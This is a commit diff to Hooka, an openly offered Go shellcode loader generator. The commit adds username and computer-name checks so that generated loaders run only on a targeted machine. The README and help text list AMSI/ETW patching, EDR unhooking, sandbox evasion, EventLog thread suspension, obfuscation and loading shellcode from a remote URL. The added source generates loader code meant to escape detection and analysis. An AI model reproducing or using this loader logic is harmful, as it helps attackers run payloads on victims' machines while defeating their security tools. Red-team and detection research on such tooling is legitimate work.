some bugs were fixed, new feature (checking username and computer name)

This commit is contained in:
d3ext
2024-12-31 11:12:26 +01:00
parent 12ad57f625
commit 02d02211d4
4 changed files with 112 additions and 40 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2024 D3Ext
Copyright (c) 2025 D3Ext
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+3 -3
View File
@@ -16,13 +16,13 @@ linux: $(LINUX) ## Build for Linux
darwin: $(DARWIN) ## Build for Darwin (macOS)
$(WINDOWS):
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w" ./cmd/main.go
$(LINUX):
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w" ./cmd/main.go
$(DARWIN):
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w" ./cmd/main.go
clean: ## Remove previous build
rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN)
+17 -20
View File
@@ -30,7 +30,7 @@
# Introduction
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not?
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars.
# Features
@@ -57,6 +57,7 @@ This tool is able to generate loaders with this features:
- Random variables and function names
- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn))
- Multiple ways to detect sandboxing
- Check if username and computer name match before running
- Enable ACG Guard protection
- Block non-Microsoft signed DLLs from injecting into created processes
@@ -89,12 +90,6 @@ After that you will find the binary under the `build/` folder
> Help panel
```
_ _ _ _
| | | | ___ ___ | | __ __ _ | |
| |_| | / _ \ / _ \ | |/ / / _` | | |
| _ | | (_) | | (_) | | < | (_| | |_|
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
Usage of Hooka:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
@@ -122,15 +117,17 @@ Usage of Hooka:
--strings obfuscate strings using Caesar cipher
EVASION:
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin)
--computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A)
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
EXTRA:
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
@@ -142,7 +139,7 @@ Usage of Hooka:
Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
```
@@ -161,6 +158,7 @@ $ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings
```
# Demo
@@ -171,10 +169,9 @@ $ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --doma
# TODO
- ~~Check username and hostname before running~~
- Add direct and indirect syscall
- Add Chacha20 cypher to encrypt shellcode
- More OPSEC features
- General improvement
# Library
@@ -216,7 +213,7 @@ Use this project under your own responsability! The author is not responsible of
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
Copyright © 2024, *D3Ext*
Copyright © 2025, *D3Ext*
+91 -16
View File
@@ -70,15 +70,17 @@ Usage of Hooka:
--strings obfuscate strings using Caesar cipher
EVASION:
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin)
--computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A)
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
EXTRA:
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
@@ -90,7 +92,7 @@ Usage of Hooka:
Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
`)
}
@@ -104,7 +106,7 @@ var buffer bytes.Buffer
func main() {
// define variables that will hold CLI arguments values
var input_file, output_file, format, arch, exec_technique, unhook, cert, domain, encrypt, process string
var input_file, output_file, format, arch, exec_technique, unhook, username, computername, cert, domain, encrypt, process string
var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool
// Main arguments
@@ -138,6 +140,8 @@ func main() {
flag.BoolVar(&noamsi, "no-amsi", false, "")
flag.BoolVar(&noetw, "no-etw", false, "")
flag.BoolVar(&hashing, "hashing", false, "")
flag.StringVar(&username, "user", "", "")
flag.StringVar(&computername, "computername", "", "")
flag.BoolVar(&acg, "acg", false, "")
flag.BoolVar(&blockdlls, "blockdlls", false, "")
flag.BoolVar(&phantom, "phantom", false, "")
@@ -163,6 +167,14 @@ func main() {
os.Exit(0)
}
var err error
_, err = exec.LookPath("go")
if err != nil {
fmt.Println("[-] \"go\" binary is not found on path and it is required to compile the loader")
log.Fatal(err)
}
// check if needed arguments were given
if (input_file == "") && (!calc) {
banner()
@@ -295,7 +307,6 @@ func main() {
var exports []string
var functions []string
var dlls_to_unhook []string
var err error
// Create template which will hold loader code
Main := &LoaderTemplate{}
@@ -2105,6 +2116,20 @@ func {{.Vars.sleep_func}}() {
functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main))
}
if (username != "") {
imports = utils.AppendString(imports, "os/user")
Main.Vars["username"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["username_to_check"] = utils.RandomString(utils.RandomInt(9,10))
}
if (computername != "") {
imports = utils.AppendString(imports, "os")
Main.Vars["computername"] = utils.RandomString(utils.RandomInt(9,10))
Main.Vars["computername_to_check"] = utils.RandomString(utils.RandomInt(9,10))
}
if (verbose) {
fmt.Println()
}
@@ -2806,6 +2831,32 @@ func ` + func_name + `(){
`
}
if (username != "") {
main_func = main_func + `
{{.Vars.username}}, {{.Vars.err}} := user.Current()
if {{.Vars.err}} != nil {
return
}
if ({{.Vars.username}}.Username != ` + ObfuscateStr(username, str_obfs) + `) {
return
}
`
}
if (computername != "") {
main_func = main_func + `
{{.Vars.computername}}, {{.Vars.err}} := os.Hostname()
if {{.Vars.err}} != nil {
return
}
if ({{.Vars.computername}} != ` + ObfuscateStr(computername, str_obfs) + `) {
return
}
`
}
// add sandboxing functions
if (sandbox) {
main_func = main_func + `
@@ -2986,6 +3037,7 @@ var {{.Vars.shellcode}} []byte
if err != nil {
log.Fatal(err)
}
defer os.Remove("loader.go")
fmt.Println("[*] Compiling shellcode loader...")
time.Sleep(100 * time.Millisecond)
@@ -3094,8 +3146,6 @@ var {{.Vars.shellcode}} []byte
fmt.Println("\n[+] Shellcode loader has been successfully generated")
os.Remove("loader.go")
if (format == "dll") {
os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h)
}
@@ -3179,28 +3229,53 @@ import (
// function to compile loader code based on provided arguments
func CompileLoader(format string, output_file string, compress bool, arch string) error {
// check if go.mod file exists
_, err := os.Stat("go.mod")
if os.IsNotExist(err) {
// if it doesn't exist, then create it
mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr")
err = mod_cmd.Run()
if err != nil {
return err
}
defer os.Remove("go.mod")
// if go.mod didn't exist we also need to download the windows library
get_cmd := exec.Command("go", "get", "golang.org/x/sys/windows")
err = get_cmd.Run()
if err != nil {
return err
}
defer os.Remove("go.sum")
}
// define command to compile source code
var compile_cmd *exec.Cmd
// compile as .EXE
if (format == "exe") {
if (compress) {
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
} else {
fmt.Println(" > go", "build", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go")
}
} else if (format == "dll") { // compile as .DLL
if (compress) {
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
} else {
fmt.Println(" > go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
}
}
compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc")
err := compile_cmd.Run()
err = compile_cmd.Run()
if err != nil {
fmt.Println("[-] Error while compiling loader!")
fmt.Println("\n[-] Error while compiling loader:")
return err
}